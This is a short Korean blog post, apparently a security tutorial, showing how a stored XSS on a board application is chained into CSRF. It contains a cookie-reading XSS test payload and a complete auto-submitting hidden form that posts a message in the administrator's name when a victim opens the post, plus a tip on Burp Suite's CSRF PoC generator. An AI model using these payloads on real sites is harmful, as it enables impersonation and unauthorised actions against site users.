우선 xss가 되는 것을 확인한다.
<img src="" onerror="alert(document.cookie)">
burpsuite를 이용해 POST 방식으로 게시글이 등록되는 것을 확인하였다.
또한, 게시물 등록 시 필요한 데이터 변수명들을 확인할 수 있다. 필요해 보이는 것 몇가지를 넣어 스크립트를 작성하면 된다. 게시글의 페이지 소스보기를 통해 HTML을 작성하여도 된다.
<body onload="document.form.submit();">
<form METHOD ="POST" action="https://URL/board.es?bid=0001&nPage=1&act=ins" name="form" enctype="multipart/form-data">
<input type=hidden name="m_id" value="admin">
<input type=hidden name="b_filec" value="3">
<input type=hidden name="b_filesize" value="5">
<input type=hidden name="gubun" value="ins">
<input type=hidden name="goURL" value="">
<input type=hidden name="mid" value="a10401000000">
<input type=hidden name="bid" value="0001">
<input type=hidden name="title" value="CSRF hacked by ...">
<input type=hidden name="m_name" value='admin'>
<input type=hidden name="content" value="CSRF test">
</form>
이렇게 게시글에 작성하고, 이 게시글을 클릭하면 관리자의 이름으로 게시글이 생성되게 된다.
+) Burpsuite pro 에서 CSRF PoC코드를 잘 만들어주니, 이용하는 것도 방법!
패킷에서 오른쪽 마우스 클릭 > Engagement tools > generate CSRF PoC 클릭하면 한번에 만들어 주고, 형식따라서 이것저것 설정할 수 있다.
반응형
'보안 및 개발 > WEB' 카테고리의 다른 글
Session 변조 - getSession() (0) | 2021.03.05 |
---|---|
[Arachni] Password field with auto-complete (0) | 2020.01.03 |
[Web] arachni scanner 사용법 (0) | 2019.12.23 |
[APT] 정보수집 (0) | 2019.12.18 |
로그인 구현 시 참고사항 (0) | 2019.12.10 |